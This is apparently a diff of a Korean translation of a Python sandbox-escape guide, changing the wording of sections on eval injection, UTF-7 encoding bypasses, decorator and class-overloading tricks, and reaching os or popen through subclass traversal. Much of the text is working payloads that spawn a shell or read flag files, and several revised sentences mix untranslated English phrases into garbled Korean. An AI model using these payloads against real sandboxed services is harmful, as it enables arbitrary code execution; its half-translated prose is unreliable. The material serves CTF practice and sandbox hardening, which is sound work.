reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md @@ -143,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` -## ์ธ์ฝ”๋”ฉ์„ ํ†ตํ•œ ๋ณดํ˜ธ ์šฐํšŒ (UTF-7) +## ์ธ์ฝ”๋”ฉ(UTF-7)์„ ํ†ตํ•œ ๋ณดํ˜ธ ์šฐํšŒ -์ด [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)์—์„œ๋Š” UFT-7์ด ๋ช…๋ฐฑํ•œ ์ƒŒ๋“œ๋ฐ•์Šค ์•ˆ์—์„œ ์ž„์˜์˜ python ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค: +[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)์—์„œ๋Š” UFT-7์„ ์‚ฌ์šฉํ•˜์—ฌ ํ‘œ๋ฉด์ƒ sandbox ๋‚ด๋ถ€์—์„œ ์ž„์˜์˜ python ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -156,11 +157,11 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` -๋‹ค๋ฅธ ์ธ์ฝ”๋”ฉ(์˜ˆ: `raw_unicode_escape` ๋ฐ `unicode_escape`)์„ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋ฅผ ์šฐํšŒํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. +๋‹ค๋ฅธ ์ธ์ฝ”๋”ฉ(์˜ˆ: `raw_unicode_escape`, `unicode_escape`)์„ ์‚ฌ์šฉํ•ด ์ด๋ฅผ ์šฐํšŒํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ## Python์—์„œ ํ˜ธ์ถœ ์—†์ด ์‹คํ–‰ -๋งŒ์•ฝ ๋‹น์‹ ์ด **doesn't allow you to make calls** ํ™˜๊ฒฝ์˜ python jail์— ์žˆ๋‹ค๋ฉด, ์—ฌ์ „ํžˆ **execute arbitrary functions, code** ๋ฐ **commands**๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•๋“ค์ด ์žˆ์Šต๋‹ˆ๋‹ค. +๋งŒ์•ฝ ๋‹น์‹ ์ด **ํ˜ธ์ถœ์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š๋Š” python jail** ์•ˆ์— ์žˆ๋‹ค๋ฉด, ์—ฌ์ „ํžˆ **์ž„์˜์˜ ํ•จ์ˆ˜, ์ฝ”๋“œ** ๋ฐ **๋ช…๋ น**์„ ์‹คํ–‰ํ•  ๋ฐฉ๋ฒ•์ด ๋ช‡ ๊ฐ€์ง€ ์žˆ์Šต๋‹ˆ๋‹ค. ### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python @@ -184,13 +185,13 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` -### RCE ๊ฐ์ฒด ์ƒ์„ฑ ๋ฐ ์˜ค๋ฒ„๋กœ๋”ฉ +### RCE creating objects and overloading -๋งŒ์•ฝ **ํด๋ž˜์Šค๋ฅผ ์„ ์–ธ**ํ•˜๊ณ  ๊ทธ ํด๋ž˜์Šค์˜ **๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด**, ์ง์ ‘ **ํ˜ธ์ถœํ•  ํ•„์š” ์—†์ด** **ํŠธ๋ฆฌ๊ฑฐ๋  ์ˆ˜ ์žˆ๋Š”** **๋‹ค์–‘ํ•œ ๋ฉ”์„œ๋“œ๋ฅผ ์ž‘์„ฑ/๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. +๋งŒ์•ฝ **declare a class**ํ•˜๊ณ  ๊ทธ ํด๋ž˜์Šค์˜ **create an object**๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์ง์ ‘ ํ˜ธ์ถœํ•  **needing to call them directly** ์—†์ด **triggered**๋  ์ˆ˜ ์žˆ๋Š” **write/overwrite different methods**๋ฅผ ์ž‘์„ฑํ•˜๊ฑฐ๋‚˜ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -#### RCE ์‚ฌ์šฉ์ž ์ •์˜ ํด๋ž˜์Šค๋ฅผ ์ด์šฉํ•œ ๋ฐฉ๋ฒ• +#### RCE with custom classes -์ผ๋ถ€ **ํด๋ž˜์Šค ๋ฉ”์„œ๋“œ**๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ (_๊ธฐ์กด ํด๋ž˜์Šค ๋ฉ”์„œ๋“œ๋ฅผ ๋ฎ์–ด์“ฐ๊ฑฐ๋‚˜ ์ƒˆ ํด๋ž˜์Šค๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ_) **ํŠธ๋ฆฌ๊ฑฐ๋  ๋•Œ** ์ง์ ‘ ํ˜ธ์ถœํ•˜์ง€ ์•Š์•„๋„ **์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰**ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ผ๋ถ€ **class methods**๋ฅผ (_by overwriting existing class methods or creating a new class_) ์ˆ˜์ •ํ•˜์—ฌ, ์ง์ ‘ ํ˜ธ์ถœํ•˜์ง€ ์•Š๊ณ  **triggered**๋  ๋•Œ **execute arbitrary code**ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -242,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")') ``` #### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)๋กœ ๊ฐ์ฒด ์ƒ์„ฑ -metaclasses๊ฐ€ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ด์ฃผ๋Š” ํ•ต์‹ฌ์€, ํƒ€๊นƒ class๋ฅผ metaclass๋กœ ํ•˜๋Š” ์ƒˆ๋กœ์šด class๋ฅผ ๋งŒ๋“ค์–ด ์ƒ์„ฑ์ž๋ฅผ ์ง์ ‘ ํ˜ธ์ถœํ•˜์ง€ ์•Š๊ณ ๋„ **make an instance of a class, without calling the constructor**ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค. +metaclasses๊ฐ€ ํ—ˆ์šฉํ•˜๋Š” ํ•ต์‹ฌ์€ ๋Œ€์ƒ ํด๋ž˜์Šค๋ฅผ metaclass๋กœ ํ•˜๋Š” ์ƒˆ ํด๋ž˜์Šค๋ฅผ ๋งŒ๋“ค์–ด, **์ƒ์„ฑ์ž๋ฅผ ์ง์ ‘ ํ˜ธ์ถœํ•˜์ง€ ์•Š๊ณ  ํด๋ž˜์Šค์˜ ์ธ์Šคํ„ด์Šค๋ฅผ ๋งŒ๋“œ๋Š” ๊ฒƒ**์ž…๋‹ˆ๋‹ค. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -257,9 +258,9 @@ Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` -#### ์˜ˆ์™ธ๋ฅผ ํ†ตํ•ด ๊ฐ์ฒด ์ƒ์„ฑ +#### ์˜ˆ์™ธ๋กœ ๊ฐ์ฒด ์ƒ์„ฑํ•˜๊ธฐ -์˜ˆ์™ธ๊ฐ€ **exception is triggered** ๋  ๋•Œ, ์ƒ์„ฑ์ž๋ฅผ ์ง์ ‘ ํ˜ธ์ถœํ•˜์ง€ ์•Š์•„๋„ **Exception**์˜ ๊ฐ์ฒด๊ฐ€ **created** ๋ฉ๋‹ˆ๋‹ค(์ด ํŠธ๋ฆญ์€ [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): +**exception**์ด ๋ฐœ์ƒํ•˜๋ฉด ์ƒ์„ฑ์ž๋ฅผ ์ง์ ‘ ํ˜ธ์ถœํ•  ํ•„์š” ์—†์ด **Exception** ๊ฐ์ฒด๊ฐ€ **์ƒ์„ฑ**๋ฉ๋‹ˆ๋‹ค (ํŠธ๋ฆญ: [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): ```python class RCE(Exception): def __init__(self): @@ -301,7 +302,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### builtins ๋„์›€๋ง ๋ฐ ๋ผ์ด์„ ์Šค์™€ ํ•จ๊ป˜ ํŒŒ์ผ ์ฝ๊ธฐ +### builtins ๋„์›€๋ง ๋ฐ ๋ผ์ด์„ ์Šค๊ฐ€ ํฌํ•จ๋œ ํŒŒ์ผ ์ฝ๊ธฐ ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -315,17 +316,18 @@ pass - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) -๋งŒ์•ฝ **`__builtins__`** ๊ฐ์ฒด์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ importํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์—ฌ๊ธฐ์—์„œ ๋งˆ์ง€๋ง‰ ์„น์…˜์— ๋‚˜์˜จ ๋‹ค๋ฅธ ๋ฌธ์ž์—ด ํ‘œํ˜„์„ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”): +๋งŒ์•ฝ **`__builtins__`** ๊ฐ์ฒด์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ importํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์—ฌ๊ธฐ์„œ๋Š” ๋งˆ์ง€๋ง‰ ์„น์…˜์— ๋‚˜์˜จ ๋‹ค๋ฅธ ๋ฌธ์ž์—ด ํ‘œํ˜„๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` ### ๋นŒํŠธ์ธ ์—†์Œ -`__builtins__`์ด ์—†์œผ๋ฉด **๋ชจ๋“  ์ „์—ญ ํ•จ์ˆ˜**(์˜ˆ: `open`, `import`, `print`...)๊ฐ€ ๋กœ๋“œ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ์–ด๋–ค ๊ฒƒ๋„ importํ•  ์ˆ˜ ์—†๊ณ  ํŒŒ์ผ์„ ์ฝ๊ฑฐ๋‚˜ ์“ธ ์ˆ˜๋„ ์—†์Šต๋‹ˆ๋‹ค.\ -ํ•˜์ง€๋งŒ, **๊ธฐ๋ณธ์ ์œผ๋กœ python์€ ๋งŽ์€ ๋ชจ๋“ˆ์„ ๋ฉ”๋ชจ๋ฆฌ์— import**ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ชจ๋“ˆ๋“ค์€ ๊ฒ‰์œผ๋กœ ๋ณด๊ธฐ์—” ๋ฌดํ•ดํ•ด ๋ณด์ผ ์ˆ˜ ์žˆ์ง€๋งŒ, ๊ทธ์ค‘ ์ผ๋ถ€๋Š” ๋‚ด๋ถ€์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ์œ„ํ—˜ํ•œ ๊ธฐ๋Šฅ๋“ค์„ **ํ•จ๊ป˜ import**ํ•˜๊ณ  ์žˆ์–ด ์‹ฌ์ง€์–ด **arbitrary code execution**์„ ์–ป๋Š” ๋ฐ ์ด์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +`__builtins__`๊ฐ€ ์—†์œผ๋ฉด ์–ด๋–ค ๊ฒƒ๋„ importํ•  ์ˆ˜ ์—†๊ณ  ํŒŒ์ผ์„ ์ฝ๊ฑฐ๋‚˜ ์“ธ ์ˆ˜๋„ ์—†์Šต๋‹ˆ๋‹ค. **๋ชจ๋“  ์ „์—ญ ํ•จ์ˆ˜**(์˜ˆ: `open`, `import`, `print`...)๊ฐ€ **๋กœ๋”ฉ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค**.\ -๋‹ค์Œ ์˜ˆ์ œ๋“ค์—์„œ๋Š” ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋“œ๋œ ์ด๋Ÿฌํ•œ "**benign**" ๋ชจ๋“ˆ๋“ค ์ค‘ ์ผ๋ถ€๋ฅผ ์–ด๋–ป๊ฒŒ **abuse**ํ•˜์—ฌ ๋‚ด๋ถ€์˜ **dangerous** **functionalities**์— **access**ํ•˜๋Š”์ง€ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํ•˜์ง€๋งŒ, **by default python imports a lot of modules in memory**. ์ด๋Ÿฌํ•œ ๋ชจ๋“ˆ๋“ค์€ ๊ฒ‰๋ณด๊ธฐ์—๋Š” ๋ฌดํ•ดํ•ด ๋ณด์ผ ์ˆ˜ ์žˆ์ง€๋งŒ, ๊ทธ์ค‘ ์ผ๋ถ€๋Š” ๋‚ด๋ถ€์— **also importing dangerous** functionalities๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์–ด ์ ‘๊ทผํ•˜๋ฉด ์‹ฌ์ง€์–ด **arbitrary code execution**์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +๋‹ค์Œ ์˜ˆ์ œ๋“ค์—์„œ๋Š” ๋กœ๋“œ๋œ ์ด๋“ค ์ผ๋ถ€ "**benign**" ๋ชจ๋“ˆ์„ ์–ด๋–ป๊ฒŒ **abuse**ํ•˜์—ฌ ๋‚ด๋ถ€์˜ **dangerous** **functionalities**์— **access**ํ•˜๋Š”์ง€ ๊ด€์ฐฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **Python2** ```python @@ -367,7 +369,7 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Below there is a bigger function**](#recursive-search-of-builtins-globals) ๋Š” **builtins**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š” ์ˆ˜์‹ญ/**์ˆ˜๋ฐฑ**์˜ **์žฅ์†Œ**๋ฅผ ์ฐพ์•„๋ƒ…๋‹ˆ๋‹ค. +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) **builtins**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š” ์ˆ˜์‹ญ/**์ˆ˜๋ฐฑ**์˜ **์žฅ์†Œ**๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด. #### Python2 and Python3 ```python @@ -383,9 +385,9 @@ __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` -## Globals์™€ locals +## Globals ๋ฐ locals -**`globals`**์™€ **`locals`**์„ ํ™•์ธํ•˜๋Š” ๊ฒƒ์€ ์–ด๋–ค ํ•ญ๋ชฉ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์•Œ์•„๋‚ด๋Š” ์ข‹์€ ๋ฐฉ๋ฒ•์ด๋‹ค. +**`globals`**์™€ **`locals`**๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฒƒ์€ ๋ฌด์—‡์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์•Œ ์ˆ˜ ์žˆ๋Š” ์ข‹์€ ๋ฐฉ๋ฒ•์ด๋‹ค. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -409,15 +411,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Below there is a bigger function**](#recursive-search-of-builtins-globals)๋Š” **globals**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š” ์ˆ˜์‹ญ/**์ˆ˜๋ฐฑ**์˜ **์žฅ์†Œ**๋ฅผ ์ฐพ์•„์ฃผ๋Š” ๋” ํฐ ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค. +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) ์ „์—ญ **globals**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š” ์ˆ˜์‹ญ/**์ˆ˜๋ฐฑ**๊ฐœ์˜ **์žฅ์†Œ**๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•œ ๋” ํฐ ํ•จ์ˆ˜๊ฐ€ ์•„๋ž˜์— ์žˆ์Šต๋‹ˆ๋‹ค. -## Arbitrary Execution ๋ฐœ๊ฒฌ +## Discover Arbitrary Execution -์—ฌ๊ธฐ์„œ๋Š” **๋” ์œ„ํ—˜ํ•œ ๊ธฐ๋Šฅ๋“ค์ด ๋กœ๋“œ๋˜์—ˆ๋Š”์ง€**๋ฅผ ์‰ฝ๊ฒŒ ๋ฐœ๊ฒฌํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์„ค๋ช…ํ•˜๊ณ , ๋ณด๋‹ค ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” exploits๋ฅผ ์ œ์•ˆํ•ฉ๋‹ˆ๋‹ค. +์—ฌ๊ธฐ์„œ๋Š” **๋” ์œ„ํ—˜ํ•œ ๊ธฐ๋Šฅ๋“ค์ด ๋กœ๋“œ๋œ ๊ฒƒ๋“ค**์„ ๋” ์‰ฝ๊ฒŒ ๋ฐœ๊ฒฌํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์„ค๋ช…ํ•˜๊ณ , ๋” ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ œ์•ˆํ•ฉ๋‹ˆ๋‹ค. -#### bypasses๋กœ subclasses์— ์ ‘๊ทผํ•˜๊ธฐ +#### Accessing subclasses with bypasses -์ด ๊ธฐ์ˆ ์—์„œ ๊ฐ€์žฅ ๋ฏผ๊ฐํ•œ ๋ถ€๋ถ„ ์ค‘ ํ•˜๋‚˜๋Š” **access the base subclasses**ํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์ž…๋‹ˆ๋‹ค. ์ด์ „ ์˜ˆ์ œ๋“ค์—์„œ๋Š” `''.__class__.__base__.__subclasses__()`๋ฅผ ์‚ฌ์šฉํ•ด ์ˆ˜ํ–‰ํ–ˆ์ง€๋งŒ, **๋‹ค๋ฅธ ๊ฐ€๋Šฅํ•œ ๋ฐฉ๋ฒ•๋“ค**์ด ์žˆ์Šต๋‹ˆ๋‹ค: +์ด ๊ธฐ๋ฒ•์—์„œ ๊ฐ€์žฅ ๋ฏผ๊ฐํ•œ ๋ถ€๋ถ„ ์ค‘ ํ•˜๋‚˜๋Š” ๊ธฐ๋ณธ **base subclasses**์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด์ „ ์˜ˆ์ œ์—์„œ๋Š” `''.__class__.__base__.__subclasses__()`๋ฅผ ์‚ฌ์šฉํ•ด์„œ ์ˆ˜ํ–‰ํ–ˆ์ง€๋งŒ, **๋‹ค๋ฅธ ๊ฐ€๋Šฅํ•œ ๋ฐฉ๋ฒ•๋“ค**๋„ ์žˆ์Šต๋‹ˆ๋‹ค: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -445,18 +447,18 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` -### ๋กœ๋”ฉ๋œ ์œ„ํ—˜ํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฐพ๊ธฐ +### ๋กœ๋“œ๋œ ์œ„ํ—˜ํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฐพ๊ธฐ -์˜ˆ๋ฅผ ๋“ค์–ด, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ **`sys`**๋กœ **์ž„์˜์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ importํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด**, ๋‚ด๋ถ€์—์„œ **`sys`๋ฅผ importํ•œ ๋กœ๋“œ๋œ ๋ชจ๋“  ๋ชจ๋“ˆ**์„ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์˜ˆ๋ฅผ ๋“ค์–ด, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ **`sys`**๋ฅผ ์ด์šฉํ•˜๋ฉด **์ž„์˜์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ importํ•  ์ˆ˜ ์žˆ๋‹ค**๋Š” ๊ฒƒ์„ ์•Œ๋ฉด, **๋‚ด๋ถ€์—์„œ sys๋ฅผ importํ•œ ๋ชจ๋“  ๋กœ๋“œ๋œ ๋ชจ๋“ˆ**์„ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -๋ฐฉ๋ฒ•์ด ๋งŽ์ง€๋งŒ, **๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ ค๋ฉด ํ•˜๋‚˜๋งŒ ์žˆ์œผ๋ฉด ๋ฉ๋‹ˆ๋‹ค**: +๋งŽ์€ ๊ฒƒ๋“ค์ด ์žˆ์ง€๋งŒ, ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ ค๋ฉด **ํ•˜๋‚˜๋งŒ ์žˆ์œผ๋ฉด ๋ฉ๋‹ˆ๋‹ค**: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -์šฐ๋ฆฌ๋Š” **๋‹ค๋ฅธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ**๊ฐ€ **execute commands**์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ์—๋„ ๋™์ผํ•œ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค: +์šฐ๋ฆฌ๋Š” ์šฐ๋ฆฌ๊ฐ€ **๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ์•„๋Š”** **๋‹ค๋ฅธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ**์—๋„ ๊ฐ™์€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -491,7 +493,7 @@ defined_func.__class__.__base__.__subclasses__() #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` -๋˜ํ•œ ์–ด๋–ค ๋ชจ๋“ˆ์ด ์•…์„ฑ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๊ณ  ์žˆ๋Š”์ง€๋„ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋˜ํ•œ ์–ด๋–ค ๋ชจ๋“ˆ์ด ์•…์„ฑ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๋Š”์ง€ ๊ฒ€์ƒ‰ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: @@ -510,7 +512,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -๋˜ํ•œ, ๋งŒ์•ฝ **๋‹ค๋ฅธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋“ค**์ด **ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ ** ์ƒ๊ฐ๋œ๋‹ค๋ฉด, ๊ฐ€๋Šฅํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋“ค ๋‚ด๋ถ€์—์„œ **ํ•จ์ˆ˜ ์ด๋ฆ„์œผ๋กœ ํ•„ํ„ฐ๋ง**ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: +๋˜ํ•œ, ๋งŒ์•ฝ **๋‹ค๋ฅธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋“ค์ด** ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด **ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ ** ํŒ๋‹จ๋˜๋ฉด, ๊ฐ€๋Šฅํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋“ค ์•ˆ์—์„œ **ํ•จ์ˆ˜ ์ด๋ฆ„์œผ๋กœ ํ•„ํ„ฐ๋ง**ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: ```python 